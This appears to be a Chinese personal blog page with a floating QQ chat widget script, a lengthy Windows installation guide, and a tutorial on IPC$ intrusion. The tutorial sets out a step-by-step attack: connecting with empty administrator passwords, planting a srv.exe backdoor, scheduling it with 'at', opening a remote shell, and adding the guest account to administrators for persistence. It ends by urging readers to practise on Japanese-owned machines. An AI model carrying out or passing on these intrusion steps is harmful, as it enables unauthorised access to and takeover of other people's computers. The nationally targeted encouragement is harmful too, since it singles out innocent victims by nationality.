冰︻$▅▇◤的主页
我爱的就是你
最新日记
2010-10-10的日记
2010-10-10 22:12
| <SCRIPT> var online= new Array(); if (!document.layers) document.write('<div id="divStayTopLeft" style="position:absolute">') </SCRIPT> <layer id="divStayTopLeft"> <table border="0" width="110" cellspacing="0" cellpadding="0"> <tr><td width="110"><img border=0 src=http://www.webjx.com/upfiles/20050408/20050408222922_kefu_up.gif></td></tr> <script src="东莞培训</a>"); </script > </td></tr> <tr><td valign=middle background=http://www.webjx.com/upfiles/20050408/20050408222911_kefu_middle.gif> <script> if (online[2]==0) document.write(" <img src=http://www.webjx.com/upfiles/20050408/20050408222938_QQoffline.gif border=0 align=middle> <a class='qqb' target=blank href='http://wpa.qq.com/msgrd?V=1&Uin=505985825&Site=在线咨询&Menu=no' title='客服不在线，请留言'>滇西王子</a>"); else document.write(" <img src=http://www.webjx.com/upfiles/20050408/20050408222952_QQonline.gif border=0 align=middle> <a class='qqa' target=blank href='http://wpa.qq.com/msgrd?V=1&Uin=505985825&Site=在线咨询&Menu=no' title='在线即时交谈'>滇西王子</a>"); </script > </td></tr> <tr><td width="110"><img border=0 src=http://www.webjx.com/upfiles/20050408/20050408222900_kefu_down.gif></td></tr> </table> <script type="text/Javascript"> //Enter "frombottom" or "fromtop" var verticalpos="frombottom" if (!document.layers) document.write('</div>') function JSFX_FloatTopDiv() //more javascript:http://www.webjx.com { var startX =0, startY = 200; var ns = (navigator.appName.indexOf("Netscape") != -1); var d = document; function ml(id) { var el=d.getElementById?d.getElementById(id):d.all?d.all:d.layers; if(d.layers)el.style=el; el.sP=function(x,y){this.style.left=x;this.style.top=y;}; el.x = startX; if (verticalpos=="fromtop") el.y = startY; else{ el.y = ns ? pageYOffset + innerHeight : document.body.scrollTop + document.body.clientHeight; el.y -= startY; } return el; } window.stayTopLeft=function() { if (verticalpos=="fromtop"){ var pY = ns ? pageYOffset : document.body.scrollTop; ftlObj.y += (pY + startY - ftlObj.y)/8; } else{ var pY = ns ? pageYOffset + innerHeight : document.body.scrollTop + document.body.clientHeight; ftlObj.y += (pY - startY - ftlObj.y)/8; } ftlObj.sP(ftlObj.x, ftlObj.y); setTimeout("stayTopLeft()", 10); } ftlObj = ml("divStayTopLeft"); stayTopLeft(); } JSFX_FloatTopDiv(); </script> |
一份详尽的IPC$入侵资料
2009-02-26 12:17
| 一份详尽的IPC$入侵资料 [binghuo.123ye.com入门级教程]--各个击破1--ipc$入侵 一 唠叨一下： 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). 因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复! 二 什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。 所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的. 解惑: 1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。 也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) 2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表 三 建立ipc$连接在hack攻击中的作用 就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) 不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( 因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接. 所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在. 四 ipc$与空连接,139,445端口,默认共享的关系 以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂) 1)ipc$与空连接: 不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. 许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). 2)ipc$与139,445端口: ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. 3)ipc$与默认共享 默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) 五 ipc$连接失败的原因 以下5个原因是比较常见的: 1)你的系统不是NT或以上操作系统; 2)对方没有打开ipc$默认共享 3)对方未开启139或445端口(惑被防火墙屏蔽) 4)你的命令输入有误(比如缺少了空格等) 5)用户名或密码错误(空连接当然无所谓了) 另外,你也可以根据返回的错误号分析原因： 错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限； 错误号51，Windows 无法找到网络路径 : 网络有问题； 错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； 错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$； 错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。 错误号1326，未知的用户名或错误密码 ： 原因很明显了； 错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况） 错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。 关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了. 六 如何打开目标的IPC$(此段引自相关文章) 首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。 七 如何防范ipc$入侵 1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) 首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等) 2禁止默认共享 1）察看本地共享资源 运行-cmd-输入net share 2）删除共享(每次输入一个） net share ipc$/delete net share admin$/delete net share c$/delete net share d$/delete（如果有e,f,……可以继续删除） 3）停止server服务 net stop server /y （重新启动后server服务会重新开启） 4）修改注册表 运行-regedit server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用 4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师 5设置复杂密码，防止通过ipc$穷举密码 （本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创http://ccbirds.yeah.net） 八 相关命令 1)建立空连接: net use \\IP\ipc$"" /user:"" (一定要注意:这一行命令中包含了3个空格) 2)建立非空连接: net use \\IP\ipc$"用户名" /user:"密码" (同样有3个空格) 3)映射默认共享: net use z: \\IP\c$"密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推) 如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ 4)删除一个ipc$连接 net use \\IP\ipc$/del 5)删除共享映射 net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部,会有提示要求按y确认 九 经典入侵模式 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 1. C:\>net use \\127.0.0.1\IPC$"" /user:"admintitrators" 这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。 2. C:\>copy srv.exe \\127.0.0.1\admin$ 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 3. C:\>net time \\127.0.0.1 查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 4. C:\>at \\127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） 5. C:\>net time \\127.0.0.1 再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 6. C:\>telnet 127.0.0.1 99 这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。 8. C:\WINNT\system32>ntlm 输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！ 9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈) 为了以防万一,我们再把guest激活加到管理组 10. C:\>net user guest /active:yes 将对方的Guest用户激活 11. C:\>net user guest 1234 将Guest的密码改为1234,或者你要设定的密码 12. C:\>net localgroup administrators guest /add 将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机) 十 总结: 关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论. 最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的) |
win98安装
2008-02-19 01:56
| 用启动盘或安装光盘进入DOS： 分好区以后，我们开始安装系统了。具体操作是开机时按del，进入cmos中，在第二项bios advance feturu中的first boot设为floppy后按F10保存，插入启动盘重起既可；如果用光盘，把floppy改成CD-ROM即可 1．首先，由于我们的计算机只有DOS操作系统，因此，我们必须在DOS下安装Windows。进入DOS后，转到您要安装WINDOWS98的目录盘下（一般为C盘），系统默认的盘符一般也是C盘，如果您进入DOS后还没有进行任何操作的话，那么就可以直接进行安装了。在确定格式化C盘以后转到WINDOWS98的安装盘所在的目录下，应该为我们的光驱所在的目录，直接在盘符后敲SETUP回车即可开始安装。 2．然后便会出现“欢迎安装WINDOWS98”界面。可以看到左边是安装的进度显示，目前处在“WINDOWS98安装程序将开始运行”——WINDOWS98安装程序的第一部分。 3．用鼠标单击“继续”按钮，WINDOWS98安装程序便开始对系统和驱动器进行常规检查，一切正常的话按“继续”按钮，WINDOWS98开始准备“安装向导”。自此，你可以让计算机自己操作，一切进展情况可以从屏幕中的进度条中了解。此间大约需要2分钟。 4．现在，屏幕上又会出现“软件许可协议”对话框，点选“接受协议”方可进行“下一步”，否则安装不能进行。 5．紧接着，出现了“产品密钥”输入框，你可从磁盘中附有的说明书中找到WINDOWS 98的序列号，输入无误后单击“下一步”按钮。 6． 好了，现在WINDOWS98安装程序进入第二部分：“正在收集计算机的相关信息”。WINDOWS98对系统进行检查，确保有足够的硬盘空间来安装WINDOWS 98。 7．接着系统会让你选择安装目录（默认为系统所选择的目录），然后是一些安装组件的对话框。推荐安装方式将安装最常用的系统组件，最合适初学安装操作系统的初学者。自定义安装方式，可由用户自行选择安装组件的内容、范围等，适合有一定经验的用户。一般来说选择“典型”安装方式，完全安装WINDOWS98需要200M左右硬盘空间。 8．安装方式设定后，系统出现设定用户姓名与单位，按个人意愿进行输入即可。 9．点击下一步，系统弹出用户区域选择窗口，区域的选择主要是确定操作系统的系统时间及日期，选择中国，点击下一步。 10．系统弹出提示窗口，询问用户是否创建启动盘，对于电脑初学者，建议创建一张启动盘，因为启动盘非常重要，它是发生某些问题时修复系统的启动文件必备工具。把软盘插入软驱，点击确定。 11．接下来系统进入文件复制阶段，整个过程都是自动化的安装方式，用户可以不用操心任何事！ 12．文件复制完成后，系统弹出一个提示重新启动计算机的窗口，可以点击按钮，也可以等待15秒，让系统自动重新启动。 13．重新启动计算机之后，系统将自动进行各个项目的安装，不过还会弹出一个调整时区的窗口，由于之前选择的区域为中国，点击确定继续安装，其它事情无须插手。 14．系统自动设置完毕之后，计算机将再次重新启动，系统也将自动进行最后的个人信息设置。 15．当系统又重新启动时，你就可以进入Windows 98操作系统，同时看到微软的友好界面－“欢迎进入Windows 98”。到此，整个Windows 98安装工作就完成了！ DOS下安装98 在DOS下的安装时，先用启动盘或安装光盘引导至DOS下，假设光驱为E盘,安装目录是E盘的win98，操作方法如下： A:\>E: E:\>cd win98 E:\win98> setup.exe 安装Windows 2000 在Windows 98 系统中，插入Windows 2000光盘，由于光盘是自动运行的，所以直接弹出安装的初始界面，系统会问我们是否升级到Windows 2000，在此，我们不选择升级到 Windows 2000 中，点击“否”按钮，返回安装对话框，并且点击“安装 Windows 2000”，开始安装。 1. 安装程序弹出协议对话框，询问是否接受协议，接受，进入下一步，不接受，退出安装。毫无疑问，我们选择了接受协议，然后点击“下一步”。 2. 到了此步，安装程序进行检测系统，并作复制必要的安装文件到 C 盘和其它临时目录，15秒后电脑重新启动。 3. 电脑重新启动后，进入WINDOWS2000 SERVER 安装界面。安装程序有三个选择项： a) 要开始安装WIN2000，按ENTER b) 要修复WIN2000，按R c) 要停止WIN2000并退出安装程序，按F3 4. 我们按回车选择第一个选项，程序进入安装目录选择窗口，确定需要安装的盘符。如果希望用硬盘尚未划分的磁盘分区来安装 Windows 2000，请按键盘上的 C 字母，如果想删除高亮显示的磁盘分区请按键盘上的 D 键。我们按了回车，选择了 C 盘。 5. 程序进入下一个窗口，提示选择文件系统的格式，下面把它们都列了出来，共有三种： a) 用FAT文件系统格式化磁盘分区 b) 将磁盘分区转换为NTFS c) 保持现有文件系统(无变化)---默认 6. 如果发觉选择的磁盘分区不对，请按 ESC键返回上一步。由于 NTFS 是 NT 系列平台运行最高效率的磁盘文件系统格式，因此在第一个选项高亮时按了回车。Windows 2000 将会花几分钟检查磁盘空间,确保有足够空间安装 Windows 2000。 7. 将文件复制到Windows 2000安装文件夹中---等待一段时间后，安装所需要的文件都复制完毕，这时，我们就可以来到下一个步骤了。 8. 安装程序初始化 Windows 2000 配置后，重新启动电脑，重启后可看到 WIN2000 安装程序进行各项检测。接下来，安装程序底部安装的区域设置，默认系统区域和用户区域设置均为(中国)。键盘布局也默认为中文(简体)--美式键盘键盘布局。若要进行修改，可自定义进行设置。安装程序进入一个要求您输入个人信息，包括姓名及公司或单位的名称的窗口。填写计算机名:安装程序提供了文字输入确定用户的计算机名和其它的设置。 9. 在此，需要声明的是：安装程序会创建一个称为Administrator（系统管理员的）用户帐户，它拥有完全控制计算机的权限。确定这个帐户时，安装程序要求用户输入“系统管理员密码”和“确认密码（即再次输入）”。然后，用鼠标点击“下一步”后，安装程序弹出了日期和时间的设置对话框，确定之后按回车。 10. 到此，系统出现网络设置对话框，共有两个选项，分别是“典型设置”和“自定义设置”， 对于安装操作系统的生手，建议选择“典型设置”，让安装程序实现傻瓜式的操作，避免安装过程中设置出错。 11. Windows 2000 是基于NT内核的，网络对它来说最为重要，所以系统弹出了域成员设置对话框。然后执行最后任务，也就是安装程序花几分钟时间进行安装与配置 WIN2000 组件。此时不再需要用户进行操作，完成是由 Windows 2000 所提供的。 至此，安装工作就大功告成了！最后单击“完成”，重新启动计算机，当再次进入 Windows 2000 时，你就会发现它的魅力！感受到它的功能强大！ 如果之前已经安装好了 Windows 2000，但有些必须的内容补充进来，那么在第2个步骤时“选WIN2000组件的安装”。步骤同上。 安装WINDOWS XP Windows XP在升级安装上做得十分出色，它的安装方式同样有三种：升级安装、双系统共存安装和全新安装。我们可在以前的Windows 98/98 SE/Me/2000这些操作系统的基础上顺利升级到Windows XP。Windows XP的核心代码是基于Windows 2000的，所以从Windows 2000上进行升级安装自然十分容易。 下面我们就来介绍一下Windows XP的安装。 1. 在WINDOWS状态下放入光盘自动运行，讯问是否安装WINXP，用鼠标选择“Install Windows XP”。 2. 选框里面可以选“升级（推荐）”和“新安装（高级）”。当语言版本不一致时，不能用“升级”，只能新安装。新安装不存在系统兼容性问题。 3. 接受协议，输入注册码。 4. 选择可支持其它东亚语种（Install support for East Asian languages），当然也包括中文。语种选择“Chinese（PRC）”。 5. 点击第5步中的"Advanced Options"选项. 6. 在"Copy installation files from this folder"所要求的文本框中输入安装的源目录； 7. 在"To this folder on my hard drive"所要求的文本框中输入安装的目标目录，注意目标目录没有带驱动器号。如果想自己选安装在哪个驱动器号上，勾选下面的"I want to choose the install drive letter and partition during Setup"。 8. "Copy all installation files from the Setup CD"是把安装盘上的文件拷贝到硬盘上。用光盘安装时它一般不会把安装源文件整个拷贝到硬盘，而是在安装时建立拷贝的文件列表，按列表拷贝。 9. "I want to choose the install drive letter and partition during Setup"用于改变WINXP安装目录。 10. 第5步中的"Accessibility Options"选项，即辅助选项（残疾人专用）。 a) 选择"Use Microsoft Magnifier during Setup"是"使用微软放大镜"，字体会显示得很大。 b) 选择"Use Microsoft Narrator during Setup"是"使用微软讲述者"，每步都有英文的语音提示，很清晰。 11. 重启后，选择“TO set up Windows XP now，press ENTER”，即安装WINXP。 12. 磁盘格式转换，选择"To convert the drive to NTFS,press C"即可将FAT（或FAT32）磁盘格式转换成NTFS格式，确认转换敲“C”。选择"To select a different partition for Windows XP，press ESC"可重新选分区（敲“ESC”）。 13. 进入安装，正在复制文件，显示复制文件的进度。 14. 文件复制完毕，进入磁盘格式转换，磁盘的格式被转换成NTFS。转换完毕后会重新启动一次，比不转换磁盘格式多一次重启。启后进行检测，并可见XP界面。 15. 选择“区域和语言”。在安装英文版XP又想让它支持中文时，这个画面的选项比较重要。 a) 上方的提示：将“标准和格式”设置为“英语（美国）”，“位置”设置为“美国”。如果想让英文的XP支持中文（在不装中文包的前提下），就要点“Customize”，然后把“标准和格式”设置成“Chinese Simplified（China PRC）”，位置设置成“China”。 b) 中间的提示：文本输入默认语言和方法是美式键盘。如果要查看或改变，点“Details”，选中“为东亚语言安装文件”，英文XP才可以支持中文，上面的“区域和语言”里才可以选“中国”和“中文”。 16. 输入名字和公司/组织名，注册时用。以后在右键点“我的电脑”并选“属性”时可以看到这些信息。 17. “文字和输入语言”设置页，用于设置语言和输入法。 18. 输入计算机名和系统管理员密码。XP正常启动时不使用管理员登录，只在“安全模式”时才出现（安全模式只有系统管理员才可以登录）。 19. “日期和时间”设置：下面的下拉选框是选时区，在中国应该选“（GMT +08：00）北京 重庆 乌鲁木齐”。 20. 网络设置：一般选“Typical settings（典型设置）”。如果需要其他协议如IPX、NetBEUI等，则点下面的“Custom settings（自定义）”。这个可以在以后的网络属性里改，并不需要在这里设置。 21. 安装所选定的安装组件、帮助文件等等，以及安装[开始]菜单项目、注册组件、保存设置、删除用过的临时文件。重新启动后，进入WINXP的炫丽画面（需要设置WINDOWS XP）。 22. 注册。一般选“现在不注册”。 23. 输入使用这台计算机的用户名，这将出现在登录时的列表中。也可以在系统安装完毕后，在“控制面板—用户帐户”里添加。这里输入的用户名都有系统管理员的权限，而且没有密码，还需在“用户帐户”里创建密码和更改权限。至少应输入一个。建议只输入一个，以后再添加。 至此，安装全部完成！ DOS下安装XP 在DOS下的安装时，先用98启动盘引导至DOS下，注意不能像安装Windows98一样，直接敲入setup.exe就完事，而是需要先加载smartdrv.exe，然后运行i386目录下的winnt.exe。smartdrv.exe这个文件在windows9x的安装光盘中或是在Windows9x系统的windows目录下。假设smartdrv.exe这个文件已经拷贝到A盘，光驱为I盘，操作方法如下： A:\>smartdrv.exe A:\>I: I:\>cd i386 I:\i386>winnt.exe 【特别注意】一定要记住加载smartdrv.exe。不然，等上一个晚上也未必能安装完Windows XP这个家伙，呵呵。 安装Windows Me 首先确认你的硬盘分区格式为FAT32，如为FAT16，请转换为FAT32格式，因为安装Windows Me系统必须是这种格式。 Windows Me提供了三种安装方式，分别是： 1. 用启动盘启动计算机，进入安装目录，执行Setup程序。 2. 用Windows Me光盘启动，自动执行安装程序。 3. 在当前的操作系统中运行Windows Me的安装程序，但必需你当前的操作系统的代码页和你将要安装的Windows Me的代码页相同，简而言之就是在Windows98中文版下不能安装Windows Me英文版。 无论采用哪一种方式，接下来我们将面对的就是我们刚才介绍过的类似于Windows98的安装界面，你大可以随着屏幕的提示按几个健，选择是升级安装，还是全新安装……至于具体的过程(和Windows98一样)我们就不再多说了。注意在安装系统过程中最好选择自定义安装，只安装你所需要的程序。 安装Windows 2003 Windows 2003是微软公司开发的新一代网络服务器操作系统，与以前的同类操作系统相比，它更加安全、性能更加稳定，而操作和使用却更加轻松，因此，它不仅能够安装到服务器上设置成为主域控制服务器、文件服务器等各种服务器，也能安装在局域网的客户机上，作为客户端系统使用，当然也可以安装到个人电脑中，成为更加稳定、更加安全、更容易使用的个人操作系统。无论是服务器、客户机还是家庭用户，安装Windows2003都是非常轻松的。 一、系统配置需求 虽然这是微软最新推出的操作系统，但它对系统硬件的要求并不是很高，建议系统的CPU主频不低于550MHz（支持最低主频为133MHz）；建议系统内存在256 MB以上（最小支持128 MB，最大支持 32 GB）；硬盘分区要具有足够的可用空间，最小要在2G以上； VGA 或更高分辨率的监视器（建议使用 SVGA 800x600 或更高）、键盘和鼠标；对于大多数用户来说，由于要通过光驱来安装操作系统，所以用于读取安装光盘的CD-ROM或者DVD-ROM是必不可少的。 如果您的计算机符合最低配置，即可确定将Windows 2003安装到计算机中。 二、系统的安装 首先在启动计算机的时候进入CMOS设置，把系统启动选项改为光盘启动，保存配置后放入系统光盘，重新启动计算机，让计算机用系统光盘启动。 启动后，系统首先要读取必须的启动文件，。接下来询问用户是否安装此操作系统，按回车确定安装，按R进行修复，按F3键退出安装. 这时，我们必须按下回车键确认安装，接下来出现软件的授权协议，必须按F8键同意其协议方能继续进行，下面将搜索系统中已安装的操作系统，并询问用户将操作系统安装到系统的哪个分区中，如果是第一次安装系统，那么用光标键选定需要安装的分区。 选定分区后，系统会询问用户把分区格式化成哪种分区格式，建议格式化为NTFS格式；对于已经格式化的磁盘，软件会询问用户是保持现有的分区还是重新将分区修改为NTFS或FAT格式的分区，同样建议修改为NTFS格式分区。选定后按回车，系统将从光盘复制安装文件到硬盘上。当安装文件复制完毕后，第一次重新启动计算机。 系统重新启动后，即进入窗口界面，开始正式安装。在安装过程中，由于系统要检测硬件设备，所以屏幕会抖动几次，这是正常的。 在安装过程中，有几步需要用户参与。第一次是系统语言、用户信息的配置，一般说来，只要使用默认设置即可，直接点击“下一步”按钮即可进行。 下面输入用户的姓名和单位名称，输入完毕后点击“下一步”按钮继续。 接下来输入软件的序列号，在光盘的封套或者说明书中找到这个序列号，输入到“产品密钥”输入框中，点击“下一步”继续。 第二次是关于网络方面的设置，对于单机用户和局域网内客户端来说，直接点击“下一步”按钮继续即可，但对于服务器来说，要设置此服务器供多少客户端使用，此时需要参考说明书的授权和局域网的实际情况，输入客户端数量。设置完毕后，点击“下一步”继续。 下面是设置计算机的名称和本机系统管理员的密码，计算机的名称不能与局域网内其他计算机的名称相同，管理员的密码设置要安全，最好是数字、大写字母、小写字母、特殊字符相结合，然后点击“下一步”继续。 下面是系统关于网络的设置，在这里可以选择“典型设置”，在安装完毕后再进行调整。 在设置工作组或计算机域的时候，不论是单机还是局域网服务器，最好是选中第一项，当把系统安装完毕后再进行详细的设置。 设置完毕后，系统将安装开始菜单项、对组件进行注册等进行最后的设置，这些都无需用户参与，所有的设置完毕并保存后，系统进行第二次启动。 第二次启动时，用户需要按“Ctrl+Alt+Del”组合键，输入密码登录系统。 进入系统之后，将自动弹出一个“管理您的服务器”窗口。这里需要根据自己的需要进行详细配置。 对于服务器来说，点击“添加角色到您的服务器”右侧的“添加或删除角色”按钮，首先进行的是预备步骤，在此要确认安装所有调整解调器和网卡、连接好需要的电缆，如果要让这台服务器连接互联网，要先连接到互联网上，打开所有的外围调协，如打印机、外部的驱动器等，然后点击下一步按钮进行详细配置，在“服务器角色”中选定某项，然后“点击”下一步按钮即可对其进行配置，可供配置的内容如文件服务器、打印服务器、IIS服务器、邮件服务器、域控制器、DNS服务器、DHCP服务器等，但如何配置这些服务器已经不是本文的讨论范围了，此处不再进行详细的配置介绍。 对于局域网内的客户机来说，需要配置的并不是服务器，而是如何将本机添加到网络中。通过“开始”菜单/“控制面板”/“系统”命令打开配置窗口，点击“计算机名”标签页，点击“更改”按钮，如图15所示，输入自己的计算机名，然后在下方选择自己的计算机是隶属于域还是工作组，之后点击确定按钮。在加入域时，需要在域控制器中建立一个帐号，然后在添加到域的过程中输入帐号和密码即可。 在局域网中，每台计算机都要有自己的IP地址，在Windows 2003中设置IP地址与之前的操作系统基本相同：在控制面板中右击网络连接，选择“属性”命令，选中“Internet协议（TCP/IP）”，点击“属性”按钮，选定“使用下面的IP地址”，然后输入适当的IP地址和子网掩码、默认网关、DNS服务器等内容，点击确定按钮。 以上是针对局域网用户而言的必要设置，对于单机用户来说，无需设置这些网络属性，只要系统安装完毕，就基本上安装完成了。而且由于它是最新的操作系统，所以绝大多数硬件设备的驱动程序也都安装了，用户所做的只是对系统进行必要的调整而已，如调整显示分辨率、屏幕刷新频率等，然后安装必要的应用软件就可以开始工作了。 |
